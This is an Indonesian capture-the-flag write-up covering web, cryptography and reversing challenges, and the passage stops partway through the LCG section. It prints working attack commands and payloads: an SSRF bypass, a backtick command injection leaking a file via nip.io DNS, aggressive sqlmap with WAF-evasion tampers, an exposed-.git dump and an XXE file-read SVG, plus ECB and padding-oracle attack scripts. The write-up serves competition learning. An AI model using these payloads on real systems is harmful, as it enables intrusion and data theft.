---
# System prepended metadata

title: Write Up Seleksi Internal GEMASTIK Telkom University 2025 - TelSec Peserta
tags: [cryptography, capture the flag, web exploitation, ctf, forensics, reverse engineering]

---

<center>
    
# Write Up Seleksi Internal GEMASTIK Telkom University 2025
    
![Pattern-nobg_Extend](https://hackmd.io/_uploads/SyhhY-avex.png)

</center>

Category

<a href="#Web"> Web </a>
* <a href="#1"> Fetcher </a>
* <a href="#8"> Nslookup </a>
* <a href="#9"> GaG Wiki </a>
* <a href="#11"> SVG Viewer </a>

<a href="#Cryptography"> Cryptography </a>
* <a href="#3"> Smoll E </a>
* <a href="#4"> ECB </a>
* <a href="#6"> Oracle </a>

<a href="#Sanity-Check"> Sanity Check </a>
* <a href="#21"> Misc </a>

<a href="#Reversing"> Reversing </a>
* <a href="#2"> Lua </a>
* <a href="#10"> LCG </a>

<a href="#Forensic"> Forensic </a>
* <a href="#18"> Wannabe Malware </a>
* <a href="#12"> Invoice </a>
* <a href="#7"> Password </a>



## <a id=Web> Web </a>

### <center><a id="1"> Fetcher </a></center>
<center>100</center>
<center>Can you access my `/flag` ? >:)

http://117.53.47.247:10001

*Author: Morre*</center>

Pada challenge ini, server menjalankan aplikasi Flask sederhana dengan satu endpoint publik: `/fetch`. Fungsinya menerima parameter `url` dan mengambil konten dari URL tersebut dengan `requests.get`, lalu mengembalikannya ke pengguna. Challenge-nya adalah mengakses endpoint internal `/flag` yang hanya tersedia untuk request dari `127.0.0.1`.

```python
@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    # CORS dan akses terbuka
    if not url:
        return "Missing url", 400
    
    # Pengecekan loopback untuk melindungi /flag
    parsed = urlparse(url)
    if parsed.hostname in ['localhost', '127.0.0.1']:
        return "Forbidden", 403

    # Mengirim request ke URL yang diberikan
    resp = requests.get(url)
    return resp.text, resp.status_code
```

Kode di atas juga menyediakan route `/flag`:

```python
@app.route('/flag')
def flag():
    if request.remote_addr != '127.0.0.1':
        return 'Access Denied', 403
    return open('flag.txt').read().strip()
```

Jadi, untuk mendapatkan flag, kita harus membuat request ke `/flag` dari localhost agar `request.remote_addr == '127.0.0.1'`. Namun, ada filter di `/fetch` yang menolak setiap URL dengan hostname `localhost` atau `127.0.0.1`.

---

##  Analisis Kerentanan (SSRF Bypass)

Server melakukan Server-Side Request Forgery (SSRF): merequest URL yang kita kirim. Namun, ada proteksi sederhana untuk mencegah memanggil hostname loopback.

Proteksi itu menggunakan:

```python
if parsed.hostname in ['localhost', '127.0.0.1']:
    return "Forbidden", 403
```

Hostname dihitung dari `urlparse(url).hostname`. Dengan demikian, kita perlu menyembunyikan loopback address agar tidak terdeteksi oleh pengecekan ini tapi tetap diarahkan ke lokal.



 **Trailing Dot pada Hostname (`localhost.`)**

   * `urlparse('http://localhost.:5000/flag').hostname` menjadi `"localhost."`
   * Bukan `"localhost"` persis, sehingga lolos filter
   * DNS menganggap `localhost.` sama dengan `localhost`

---

##  Exploitation



Metode Trailing Dot

```bash
curl 'http://117.53.47.247:10001/fetch?url=http://localhost.:5000/flag'
```

* Similar flow: hostname `localhost.` lolos filter
* DNS mapping ke `127.0.0.1`
* Mendapatkan flag


![image](https://hackmd.io/_uploads/H1VHghsPee.png)

---

**Flag :foresty{__r_u_the_next_cve_hunter_a8cdaf}**

---

### <center><a id="8"> Nslookup </a></center>
<center>175</center>
<center>Flag is in `/flag.txt`

http://117.53.47.247:10003/

*Author: bl33dz*</center>

###  Analisis dan Langkah Penyelesaian

#### 1\. Analisis Kode Sumber (`app.py`)

Dengan menganalisis file `app.py` yang disediakan, kita dapat memahami logika di balik aplikasi.

```python
from flask import Flask, request, jsonify, render_template
import subprocess

app = Flask(__name__)

BLACKLISTED_CHARS = ['|', '&', ';', '$', '(', ')', '\\', '>', '<', '\n', '\r', '\t', '*', '?', '[', ']', '{', '}', '"', "'", '%', '=', '~']

def is_safe_input(user_input):
    return not any(char in user_input for char in BLACKLISTED_CHARS)

@app.route("/nslookup", methods=["POST"])
def nslookup():
    data = request.get_json()
    domain = data.get("domain", "") if data else ""

    if not is_safe_input(domain):
        return jsonify({"error": "Input contains blacklisted characters"}), 400

    try:
        # VULNERABLE LINE
        result = subprocess.check_output(f"nslookup {domain}", shell=True, stderr=subprocess.STDOUT, timeout=3)
        # ...
        return jsonify({"result": result.decode()})
    except Exception as e:
        return jsonify({"error": str(e)}), 500
```

Dari kode di atas, kita dapat melihat beberapa poin kunci:

1.  **Input Pengguna:** Aplikasi menerima input domain melalui permintaan POST ke `/nslookup` dalam format JSON.
2.  **Eksekusi Perintah:** Input `domain` langsung digabungkan ke dalam string perintah `nslookup {domain}` dan dieksekusi dengan `shell=True`. Ini adalah pola yang sangat rentan terhadap **Command Injection**.
3.  **Filter Keamanan:** Terdapat sebuah *blacklist* (`BLACKLISTED_CHARS`) yang mencoba mencegah karakter-karakter berbahaya.

#### 2\. Menemukan Celah pada Blacklist

Langkah krusial dalam eksploitasi ini adalah memeriksa daftar karakter yang diblokir.

```
BLACKLISTED_CHARS = ['|', '&', ';', '$', '(', ')', '\\', '>', '<', '\n', '\r', '\t', '*', '?', '[', ']', '{', '}', '"', "'", '%', '=', '~']
```

Setelah diteliti, kita menemukan bahwa karakter **backtick (\`)** tidak ada dalam daftar hitam. Di banyak shell Linux/Unix, backtick digunakan untuk *command substitution*, yang berarti perintah di dalam backtick akan dieksekusi terlebih dahulu, dan outputnya akan menggantikan backtick itu sendiri.

Ini adalah celah yang akan kita manfaatkan.

#### 3\. Merancang Payload Eksploitasi

Tujuan kita adalah mengeksekusi `cat /flag.txt` dan melihat hasilnya. Karena kita tidak bisa menggunakan karakter seperti `|`, `;`, atau `>` untuk mengalihkan output, kita harus menemukan cara lain untuk membocorkan isi flag.

Di sinilah teknik **DNS Exfiltration** masuk. Kita bisa menggunakan layanan seperti `nip.io` yang akan me-resolve domain `[anything].[IP_ADDRESS].nip.io` ke `IP_ADDRESS` tersebut.

Dengan menggabungkan *command substitution* dan DNS exfiltration, kita dapat membuat payload berikut:

**`cat /flag.txt`.127.0.0.1.nip.io**

Mari kita pecah cara kerjanya di sisi server:

1.  Shell akan mengeksekusi perintah di dalam backtick terlebih dahulu: `` `cat /flag.txt` ``.
2.  Output dari perintah ini (yaitu isi flag, misalnya `foresty{...}`) akan menggantikan bagian `` `cat /flag.txt` ``.
3.  Perintah `nslookup` yang sebenarnya dieksekusi oleh server menjadi: `nslookup foresty{...}.127.0.0.1.nip.io`.
4.  Server `nslookup` akan mencoba mencari alamat IP untuk domain tersebut. Karena layanan `nip.io`, domain ini akan di-resolve ke `127.0.0.1`.
5.  Yang terpenting, output dari perintah `nslookup` akan mencakup nama domain yang dicari, yang sekarang berisi flag. Output inilah yang dikirim kembali ke kita dalam respons JSON.

#### 4\. Eksekusi dan Mendapatkan Flag

Kita mengirim payload dalam format JSON menggunakan `curl`:

```bash
curl -X POST http://117.53.47.247:10003/nslookup \
  -H "Content-Type: application/json" \
  -d '{"domain":"`cat /flag.txt`.127.0.0.1.nip.io"}'
```

Server merespons dengan output `nslookup`, di mana kita dapat dengan jelas melihat flag di dalamnya:

```json
{
  "result": "Server:\t\t127.0.0.11\nAddress:\t127.0.0.11#53\n\nNon-authoritative answer:\nName:\tforesty{54fb3ec7adecdcb1930ef0528366b98e}.127.0.0.1.nip.io\nAddress: 127.0.0.1\n\n"
}
```

-----

**Flag : foresty{54fb3ec7adecdcb1930ef0528366b98e}**

---

### <center><a id="9"> GaG Wiki </a></center>
<center>375</center>
<center>Author addicted to playing `Grow A Garden`

http://117.53.47.247:10002/

Mirror: https://gag-wiki.bgz.app/

*Author: bl33dz*</center>


---



Dikasih source code itu anugerah, jadi langsung aja kita buka `chall.py`. Mata langsung tertuju ke rute `/search`:

```python
# ...
@app.route('/search')
def search():
    q = request.args.get('q', '')

    waf_blocked = ['--', '#', '/*', '*/', 'union', 'sleep', 'benchmark', 'load_file', 'order']
    if any(bad in q.lower() for bad in waf_blocked):
        return render_template('search.html', results=[], q=q, error="Blocked by WAF.")
    
    # ...

    sql = f"""
        SELECT id, title, summary FROM pages
        WHERE title LIKE '%{q}%'
           OR overview LIKE '%{q}%'
        ...
    """
    # ...
```

**Analisis Singkat:**
1.  **F-String FTW (for the Win...nerability)!**: Liat tuh, input `q` langsung dimasukin ke query pake f-string. Udah pasti ini **SQL Injection**. Classic!
2.  **WAF (Wall aslinya Fence wkwk)**: Ada WAF blacklist cupu. `union` diblok, jadi gabisa pamerin isi tabel langsung. `sleep` dan comment juga diblok. Oke, fix ini ngajak kita main **Blind SQL Injection**.
3.  **Injection Point**: Input kita ada di dalem `LIKE '%%'`. Jadi, kita perlu tutup kutipnya dulu (`'`) buat mulai main-main.

Manual? Bisa, tapi kita kan kaum mager. Saatnya panggil sang dewa...

---


MALES MIKIR, LANGSUNG PAKE COMMAND TEMPLATE YANG BIASA GW PAKE BUG BOUNTY WKWK.

Ini command saktinya:
```bash
sqlmap -u "http://117.53.47.247:10002/search?q=Apple*" --random-agent --threads=5 --risk=3 --level=5 --invalid-string --invalid-logical --invalid-bignum --tamper=between,informationschemacomment,charencode,bluecoat -v2 --parse-errors --current-db --dbs -T users --columns --dump
```

**Kenapa command ini GG?**
*   `--risk=3 --level=5`: Suruh `sqlmap` jadi agresif, coba semua payload gila yang dia punya.
*   `--tamper=...`: Ini jimatnya! Payload kita diacak-acak dulu pake berbagai cara (charencode, dll) biar WAF-nya pusing tujuh keliling.
*   `--threads=5`: Biar cepet, keroyokan!
*   Sisanya itu parameter buat `sqlmap` lebih pinter nebak dan langsung fokus dump tabel `users`.

`sqlmap` langsung kerja keras, dan bener aja, dia nemu injection pointnya.

```
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://117.53.47.247:10002/search?q=Apple' AND 1563=1563 AND 'HFUn'='HFUn
---
```

---



Setelah `sqlmap` dengan sabar "ngobrol" sama database, akhirnya semua rahasianya kebongkar.

**1. Dapet Nama Tabel:**
`sqlmap` nunjukin ada tabel `users`. Hmm, *juicy*!

```
[3 tables]
+-----------------+
| pages           |
| sqlite_sequence |
| users           |
+-----------------+
```

**2. Bongkar Kolom di Tabel `users`:**
Langsung aja kita kepoin isinya.

```
Table: users
[3 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| id       | INTEGER |
| password | TEXT    |
| username | TEXT    |
+----------+---------+
```

Okee, `username` dan `password`. Target terkunci!

**3. Dump Datanya & Flag Pls!**
Tanpa basa-basi, `sqlmap` langsung narik semua data dari tabel `users`.

And... **BOOM!**

```
Table: users
[1 entry]
+----+-------------------------------------------+----------+
| id | password                                  | username |
+----+-------------------------------------------+----------+
| 1  | foresty{7bcb6131d0c9f5e4e7e52f50073eeefd} | admin    |
+----+-------------------------------------------+----------+
```

Keliatan tuh flag-nya nongkrong manis di kolom `password`. Ez pz lemon squeezy.





**Flag : foresty{7bcb6131d0c9f5e4e7e52f50073eeefd}**
*PANIK SIKIT, BARU AJA FIRST BLOOD CHALL INI LANGSUNG ADA INGFO:
![image](https://hackmd.io/_uploads/SJOMav2vlx.png)


untung pake SQLMAP boleh wkwk.

---

### <center><a id="11"> SVG Viewer </a></center>
<center>400</center>
<center>Is this really `blackbox`?

http://117.53.47.247:10004/

*Author: bl33dz*</center>

#### 1\. Penemuan Kerentanan `.git`

Saat pertama kali membuka situs, halaman login yang minimalis tidak memberikan banyak petunjuk. Namun, saat menjelajahi situs, sebuah **ekstensi browser `.DOTGIT`** yang terpasang langsung memberikan notifikasi. Ekstensi ini mendeteksi bahwa direktori `.git` pada server terekspos ke publik.

Sebagai seseorang yang sering melakukan *bug hunting*, kerentanan *Exposed Git Repository* ini sudah tidak asing lagi. Ini adalah celah kritis yang memungkinkan siapa saja untuk mengunduh riwayat dan file source code dari aplikasi web tersebut.
![image](https://hackmd.io/_uploads/r1uV_R3Dle.png)

#### 2\. Mengekstrak Source Code dari `.git`

Dengan ditemukannya direktori `.git`, langkah selanjutnya adalah mengunduh (dump) isinya menggunakan **GitTools** untuk merekonstruksi file-file asli proyek.

Pertama, jalankan `gitdumper.sh` untuk mengunduh data dari repositori yang terekspos.

```bash
# Clone repo GitTools jika belum ada
git clone https://github.com/internetwache/GitTools.git
cd GitTools/Dumper/

# Jalankan dumper ke direktori target
./gitdumper.sh http://117.53.47.247:10004/.git/ ./dumped-svgviewer
```

Setelah proses dump selesai, gunakan `extractor.sh` untuk mengubah data `.git` yang telah diunduh menjadi file source code yang dapat dibaca.

```bash
# Pindah ke direktori Extractor
cd ../Extractor/

# Ekstrak file dari hasil dump
./extractor.sh ../Dumper/dumped-svgviewer ./source-code
```

Proses ini berhasil mengekstrak beberapa file penting, termasuk `index.php`, `dashboard.php`, dan yang paling krusial, file `.env` dan contoh file`.svg` nya.
![image](https://hackmd.io/_uploads/BymWuR2wee.png)

#### 3\. Analisis Source Code & Mendapatkan Password

Dengan source code di tangan, analisis pada file `index.php` menunjukkan bahwa untuk login ke `dashboard.php`, sistem akan memeriksa password dari file `.env`. Jika file tersebut tidak ada, maka akan digunakan password `defaultpass`.

Karena kita berhasil mendapatkan file `.env`, kita bisa langsung membukanya untuk menemukan kredensial yang valid.

```bash
# Isi dari file .env
PASSWORD=made-in-heaven-by-bl33dz
```

Dengan password **`made-in-heaven-by-bl33dz`**, kita sekarang dapat login dan mengakses halaman `dashboard.php`.

#### 4\. Eskalasi via XXE di SVG Viewer

Halaman dashboard adalah sebuah "SVG Viewer" yang memungkinkan kita mengunggah file. Karena SVG pada dasarnya adalah format file berbasis XML, ini adalah target yang sempurna untuk serangan **XML External Entity (XXE)**.

Saya modifikasi  file SVG yg udah ada yang berisi payload XXE untuk membaca file `/flag.txt` dari server.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20" font-size="16">&xxe;</text>
</svg>
```

Payload ini mendefinisikan sebuah entitas XML bernama `xxe` yang isinya adalah konten dari `file:///flag.txt`. Kemudian, entitas ini ditampilkan sebagai teks di dalam gambar SVG.
![image](https://hackmd.io/_uploads/SJKGdRnvxe.png)



-----



**Flag : foresty{670ef0276339a9989da10a47d46a6115}**

---

## <a id=Cryptography> Cryptography </a>

### <center><a id="3"> Smoll E </a></center>
<center>100</center>
<center>
*Author: Morre*</center>

Pada challenge “Smoll E 500”, diberikan dua bilangan besar: modulus RSA $N$ dan ciphertext $c$. Diketahui bahwa eksponen publik $e$ sangat kecil, yaitu $e = 3$. Tantangannya adalah memulihkan plaintext (flag) dari $c$ tanpa mengetahui kunci privat.

Observasi & Analisis

Karena $e = 3$ dan biasanya ciphertext dihitung sebagai

$$
c \;=\; m^e \bmod N,
$$

jika plaintext $m$ cukup kecil sehingga $m^3 < N$, maka operasi modulus tidak “mengubah” nilai pangkat—artinya:

$$
c \;=\; m^3.
$$

Dengan demikian kita tidak perlu melakukan faktorisasi $N$ atau CRT; cukup menghitung akar pangkat tiga dari $c$.



1. **Ekstraksi** nilai $N$ dan $c$ dari file `output.txt`.
2. **Implementasi** fungsi integer cube root untuk mencari $\lfloor \sqrt[3]{c} \rfloor$.
3. **Konversi** integer hasil akar pangkat tiga ke bentuk bytes untuk mendapatkan flag.

##   Solver

```python
from Crypto.Util.number import long_to_bytes
import re

# Baca N dan c
with open('output.txt') as f:
    data = f.read()
N = int(re.search(r"N = (\d+)", data).group(1))
c = int(re.search(r"c = (\d+)", data).group(1))

# Fungsi integer cube root
def integer_cube_root(x):
    low, high = 0, 1 << ((x.bit_length() + 2)//3 + 1)
    while low <= high:
        mid = (low + high)//2
        if mid**3 == x:
            return mid
        elif mid**3 < x:
            low = mid + 1
        else:
            high = mid - 1
    return high

# Hitung m, lalu convert ke bytes
m = integer_cube_root(c)
flag = long_to_bytes(m)
print(flag.decode())
```


![image](https://hackmd.io/_uploads/HkIhxnoPel.png)






**Flag : foresty{__basic_rsa_w/_smoll_exponent__who_cares?_1fafc9}**

---

### <center><a id="4"> ECB </a></center>
<center>200</center>
<center>`nc 117.53.47.247 30002`

*Author: Morre*</center>

## 🍰 1. Gambaran Umum

Remote service menawarkan menu:

```
== ECB ==
Options:
  [1] Encrypt
  [2] Exit
```

Jika kita pilih **Encrypt**, kita kirimkan pesan **user-controlled**, service akan men-`pad` (PKCS#7), lalu mengenkripsi:

```
cipher = AES_ECB( pad( user_input ‖ SECRET_FLAG ) )
```

Karena mode **ECB** dan **kunci tetap**, kita dapat melakukan *byte-at-a-time* attack untuk men-gekstrak `SECRET_FLAG` satu per satu.

---

## 🔍 2. Menentukan Panjang Flag

Sebelum brute-force byte, kita perlu tahu seberapa panjang flag-nya. Caranya:

1. Kirim payload kosong (`b''`), dapatkan `len0 = len(ciphertext0)`.
2. Tambah satu karakter `A`, kirim `b'A'`, dapat `len1`. Ulangi hingga `lenN > len0`.
3. Saat `len(new) > len0`, berarti kita sudah memulai blok padding baru. Maka:

   ```
   flag_length = len0 - N
   ```

   Di script:

   ```python
   base_len = len(get_encrypted(b''))
   for i in range(1,17):
       new_len = len(get_encrypted(b'A'*i))
       if new_len > base_len:
           flag_len = base_len - i
   ```

   Hasilnya **40 byte**.

---

## 🧩 3. Byte-at-a-Time Decryption

Setelah tahu panjang flag, kita leak satu-per-satu:

1. **Atur padding** agar byte ke-i dari flag menempati posisi terakhir sebuah blok 16-byte:

   ```python
   pad_len = 15 - (i % 16)
   prefix  = b'A' * pad_len
   ```
2. **Ambil target block** dengan mengirim hanya `prefix`:

   ```python
   full_ct = get_encrypted(prefix)
   target_block = full_ct[block_idx*16:(block_idx+1)*16]
   ```

   di mana `block_idx = i // 16`.
3. **Bangun kamus (dictionary)** untuk semua kemungkinan karakter `char` di `CHARSET` (printable + `{}`):

   * Kirim `prefix + known_bytes + guess_char`
   * Ambil blok yang sama
   * Jika sama dengan `target_block`, berarti kita menebak dengan benar `FLAG[i]`.
4. **Append** byte yang cocok ke `known_flag` dan ulangi untuk `i+1`.

**Perbaikan Penting** pada solver ini:

> Saat mengambil `guess_block`, pakailah **block index** yang sama (`target_block_index`) agar blok yang dibandingkan adalah blok yang sama di ciphertext hasil guess maupun hasil target.

---

## 📜 4. Potongan Kode Solver

```python
#!/usr/bin/env python3
from pwn import *
import string

HOST, PORT = "117.53.47.247", 30002
CHARSET    = string.printable + "{}"
BLOCK_SIZE = 16

def get_encrypted(payload):
    # Pilih menu Encrypt
    r.sendlineafter(b'Enter your choice: ', b'1')
    r.sendlineafter(b'Enter your message: ', payload or b'')
    r.recvuntil(b'Encrypted: ')
    h = r.recvline().strip().decode()
    return bytes.fromhex(h)

def find_flag_length():
    base_len = len(get_encrypted(b''))
    for i in range(1, BLOCK_SIZE+1):
        new_len = len(get_encrypted(b'A'*i))
        if new_len > base_len:
            return base_len - i
    return 0

r = remote(HOST, PORT)
flag_len = find_flag_length()
print(f"[+] Flag length = {flag_len}")

known = b''
for i in range(flag_len):
    pad_len = BLOCK_SIZE - 1 - (i % BLOCK_SIZE)
    prefix  = b'A' * pad_len
    block_idx = i // BLOCK_SIZE

    # target block untuk posisi i
    ct = get_encrypted(prefix)
    target = ct[block_idx*BLOCK_SIZE:(block_idx+1)*BLOCK_SIZE]

    # brute byte ke-i
    for ch in CHARSET:
        guess = prefix + known + ch.encode()
        ct_guess = get_encrypted(guess)
        guess_block = ct_guess[block_idx*BLOCK_SIZE:(block_idx+1)*BLOCK_SIZE]
        if guess_block == target:
            known += ch.encode()
            print(f"[+] Recovered so far: {known.decode()}")
            break

print(f"\n=== FLAG ===\n{known.decode()}")
r.close()
```

---

## 🎉 5. Hasil Akhir

Saat dijalankan, solver mencetak:

```
[+] Flag length = 40
[+] Recovered so far: f
[+] Recovered so far: fo
…
[+] Recovered so far: foresty{ecb_doang_ez_lah_ya_bang_27af9d}

=== FLAG ===
foresty{ecb_doang_ez_lah_ya_bang_27af9d}
```

**Flag : foresty{ecb_doang_ez_lah_ya_bang_27af9d}**

---

### <center><a id="6"> Oracle </a></center>
<center>475</center>
<center>`nc 117.53.47.247 30003`

*Author: Morre*</center>


---

Layanan “EaaS v2.0” berjalan di port TCP 30003 dan menawarkan dua opsi:

1. **Get my encrypted confidential data.**
2. **Send me your encrypted data.**

Pada opsi 1, server mengirimkan `IV || AES_CBC_PAD(FLAG)`.
Pada opsi 2, server mencoba mendekripsi ciphertext yang dikirim dengan:

```python
plain = unpad(AES_CBC_decrypt(data), 16)[16:]
if plain == FLAG:
    print("Whoops! You are not supposed to know that!")
else:
    print("That's not it!")
```

Jika padding PKCS#7 tidak valid maka muncul `Error: …`; jika valid tapi hasil ≠ FLAG muncul `That's not it!`. Perbedaan ini menjadi *padding oracle*.

---

##  Vulnerabilitas: Padding-Oracle pada AES-CBC

Pada AES-CBC, dekripsi tiap blok Cᵢ menghasilkan:

```
Pᵢ = Dₖ(Cᵢ) ⊕ Cᵢ₋₁
```

dan `unpad` memeriksa byte terakhir Pᵢ apakah sesuai format PKCS#7 (nilai N diulang N kali). Karena server membedakan error padding vs error isi, kita bisa mengirim ciphertext palsu dan lihat apakah padding valid. Dari sini kita memperoleh byte‐per‐byte Dₖ(Cᵢ), lalu XOR dengan Cᵢ₋₁ (atau IV) untuk mendapatkan Pᵢ.

---

##  Skema Serangan

1. **Ambil ciphertext** (IV + blok‐blok) via opsi 1.
2. **Byte-wise padding-oracle**

   * Misalkan kita ingin memulihkan blok C₁. Kita siapkan blok “prev′” (16 B) yang awalnya sama dengan IV.
   * Untuk *pad\_len* = 1…16, targetkan padding = `0xpad_len` di akhir P₁.

     * Setel byte terakhir (indeks 15) dari “prev′” ke semua nilai 0x00–0xFF, kirim `prev′||C₁`.
     * Jika server tidak mengembalikan `Error:`, berarti padding valid ⇒ kita tahu nilai Dₖ(C₁)\[15].
     * Lakukan serupa untuk posisi 14, 13, …, 0, sambil “memperbaiki” suffix agar selalu memuaskan padding yang diinginkan.
3. **Hitung plaintext**
   Setelah mendapatkan seluruh *intermediate state* I = Dₖ(C₁), plaintext P₁ = I ⊕ IV. Ulangi untuk masing‐masing blok C₂, C₃, …
4. **Unpad akhir** untuk mengeluarkan FLAG murni.

---

##  Solver

```python
from pwn import remote
import sys

HOST = '117.53.47.247'
PORT = 30003
BLOCK = 16

def connect():
    r = remote(HOST, PORT)
    # Baca banner dan prompt pertama
    r.recvuntil(b'Enter your choice:')
    return r

def get_ciphertext(r):
    r.sendline(b'1')
    r.recvuntil(b'data:\n')
    hex_ct = r.recvline().strip()
    # Baca sampai prompt berikutnya
    r.recvuntil(b'Enter your choice:')
    return bytes.fromhex(hex_ct.decode())
```

* **connect()**: buka koneksi dan sinkron ke prompt.
* **get\_ciphertext()**: minta IV||ciphertext FLAG.

```python
def padding_oracle(r, ct_blk_prev, ct_blk):
    """
    Kirim ct = ct_blk_prev || ct_blk ke opsi 2,
    kembalikan True jika padding valid, False jika muncul "Error:".
    """
    r.sendline(b'2')
    r.recvuntil(b'Enter your encrypted data:')
    r.sendline((ct_blk_prev + ct_blk).hex().encode())

    # Baca sampai prompt berikutnya; simpan seluruh buffer
    resp = r.recvuntil(b'Enter your choice:')
    # Jika dalam resp ada "Error:", padding invalid
    return b'Error:' not in resp
```

* **padding\_oracle**: kirim dua-blok, kembalikan `True` jika padding valid (tidak ada “Error:”).

```python
def recover_block(r, C_prev, C_target):
    """
    Padding‐oracle attack pada satu blok C_target, dengan C_prev sebagai blok sebelumnya.
    Kembalikan P = D(C_target) XOR C_prev.
    """
    intermediate = bytearray(BLOCK)
    recovered  = bytearray(BLOCK)
    prefix     = bytearray(BLOCK)

    for pad_len in range(1, BLOCK+1):
        idx = BLOCK - pad_len
        # Siapkan suffix untuk memaksa padding = pad_len
        for j in range(1, pad_len):
            prefix[-j] = intermediate[-j] ^ pad_len

        # Coba semua kemungkinan byte
        for guess in range(256):
            prefix[idx] = guess
            if padding_oracle(r, bytes(prefix), C_target):
                # D(C_target)[idx] = guess ^ pad_len
                intermediate[idx] = guess ^ pad_len
                # Plain = intermediate XOR C_prev
                recovered[idx] = intermediate[idx] ^ C_prev[idx]
                break
        else:
            print(f"[!] Gagal menemukan byte index {idx}")
            sys.exit(1)

    return bytes(recovered)
```

* Iterasi *pad\_len* dari 1 (akhir blok) ke 16 (awal).
* **prefix** adalah modifikasi C\_prev yang diubah-ubah untuk memaksa padding.
* Setiap kali oracle valid, kita hitung satu byte plaintext.

```python
def main():
    r = connect()
    ct = get_ciphertext(r)

    iv = ct[:BLOCK]
    C_blocks = [ct[i:i+BLOCK] for i in range(BLOCK, len(ct), BLOCK)]

    plaintext = b''
    prev = iv
    for i, C in enumerate(C_blocks, 1):
        print(f"→ Recovering block {i}...")
        P = recover_block(r, prev, C)
        plaintext += P
        prev = C

    # Unpad
    pad_len = plaintext[-1]
    flag    = plaintext[:-pad_len]
    print("\nRecovered FLAG:\n", flag.decode())

if __name__ == '__main__':
    main()
```

* Loop melalui setiap blok C, memulihkan plaintext, lalu unpad.

![image](https://hackmd.io/_uploads/r1Nml3jwlx.png)



---



**Flag : foresty{OoO_r4chell__im_sad_u_lose_at_coc_2a9d2f}**

---

## <a id=Sanity-Check> Sanity Check </a>

### <center><a id="21"> Misc </a></center>
<center>100</center>
<center>`foresty{good_luck_and_have_fun!}`</center>


**Flag : foresty{good_luck_and_have_fun!}**

---

## <a id=Reversing> Reversing </a>

### <center><a id="2"> Lua </a></center>
<center>125</center>
<center>
*Author: Morre*</center>

![image](https://hackmd.io/_uploads/SyOym3hwex.png)
decompile pake https://luadec.metaworm.site/

Terus tinggal suruh gemini decrypt flag nya
![image](https://hackmd.io/_uploads/Hybutp2vlx.png)

**Flag : foresty{EZ_lua_decompile_is_eas8a92}**

---

### <center><a id="10"> LCG </a></center>
<center>475</center>
<center>*Author: Morre*</center>

## 1. Gambaran Umum Program Enkripsi

1. **Parameter LCG (Linear Congruential Generator)**
   Program menginisialisasi LCG dengan empat parameter:

   * **Modulus** $M = 2^{32}-1 = 0xFFFFFFFF$
   * **Multiplier** $B = 633\,879\,789$
   * **Increment** $C = \text{rand()} \bmod 2^{32}$, diambil sekali setelah `srand(time(0))`
   * **State Awal** $A = 469\,163\,728$

   Rumus LCG-nya:

   $$
     X_{n+1} = (B \cdot X_n + C) \bmod M,
     \quad X_0 = A.
   $$

2. **Proses Enkripsi**

   * File plaintext dibaca seluruhnya ke buffer `ptr[]`
   * Dibagi dalam blok 4-byte. Untuk setiap blok ke-i:

     1. Hitung `state = LCG_next(state)`
     2. Ambil 4 byte keystream little-endian dari `state` (LSB dulu)
     3. XOR-kan setiap byte plaintext dengan byte keystream
   * Hasilnya disimpan di `filename.enc`.

Karena **hanya** `C` yang *belum diketahui* (lainnya publik), maka memulihkan `C` membuat kita bisa menghasilkan ulang seluruh keystream dan mendekripsi file.

---

## 2. Cara Memulihkan Increment C dari 4-Byte Plaintext Diketahui

Misalkan kita tahu 4 byte pertama plaintext-nya, misal tebakan umum `b"CTF{"`. Definisikan:

* **Ciphertext** bytes: $C_0, C_1, C_2, C_3$
* **Plaintext** tebakan: $P_0, P_1, P_2, P_3$

Keystream 4-byte pertama adalah:

$$
K_j = C_j \oplus P_j\quad (j=0\ldots3).
$$

Karena LCG menghasilkan 32-bit `X_1` sebagai:

$$
X_1 \;=\; (B\cdot A + C)\bmod M,
$$

dan `X_1` di‐encode little-endian menjadi $\sum_j K_j\,2^{8j}$, maka:

$$
\begin{aligned}
\mathrm{v5\_1} &= \sum_{j=0}^3 K_j \ll (8j),\\
C &= \bigl(\mathrm{v5\_1} - B\cdot A \bigr)\bmod M.
\end{aligned}
$$

Sekali $C$ diketahui, LCG terdefinisi penuh, dan kita tinggal rebuild keystream untuk XOR balik seluruh ciphertext.

---

## 3. Penjelasan Kode Solver (`decryptor`)

```python
#!/usr/bin/env python3
import sys

# 1) Inisialisasi konstanta LCG sesuai binary
A = 469163728       # X0
B = 633879789       # multiplier
M = 0xFFFFFFFF      # modulus (2^32-1)

def decrypt(ciphertext: bytes, C: int) -> bytes:
    """
    Bangun ulang keystream LCG dan XOR balik untuk
    memperoleh plaintext.
    """
    state = A
    plain = bytearray(len(ciphertext))
    for i in range(0, len(ciphertext), 4):
        state = (B * state + C) % M
        v = state
        for j in range(4):
            idx = i + j
            if idx < len(ciphertext):
                # ambil byte LSB dari v, lalu shift
                plain[idx] = ciphertext[idx] ^ (v & 0xFF)
                v >>= 8
    return bytes(plain)

def recover_C_from_plain(cipher4: bytes, plain4: bytes) -> int:
    """
    Dari 4 byte pertama ciphertext dan tebakan plaintext,
    hitung increment C.
    """
    # 1) hitung v5_1 = little-endian keystream
    v5_1 = sum((cipher4[j] ^ plain4[j]) << (8*j) for j in range(4))
    # 2) balikkan v5_1 ≡ B*A + C (mod M)
    return (v5_1 - B*A) % M

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("cipherfile", help="file terenkripsi, misal flag.txt.enc")
    parser.add_argument("--guess",
                        help="tebakan 4-byte plaintext (misal \"CTF{\")")
    args = parser.parse_args()

    ct = open(args.cipherfile, "rb").read()

    if args.guess:
        plain4 = args.guess.encode('ascii')
        if len(plain4) != 4:
            parser.error("--guess harus tepat 4 byte")
        C = recover_C_from_plain(ct[:4], plain4)
        pt = decrypt(ct, C)
        print("Recovered C =", C)
        print(pt.decode('ascii', errors='replace'))
    else:
        print("Tidak ada tebakan plaintext 4-byte. Silakan gunakan --guess atau brute-force waktu.")
```

### Penjelasan Bagian‐bagian Utama

1. **Konstanta LCG**

   * `A` adalah state awal $X_0$.
   * `B` adalah multiplier.
   * `M` (0xFFFFFFFF) adalah modulus.

2. **`decrypt()`**

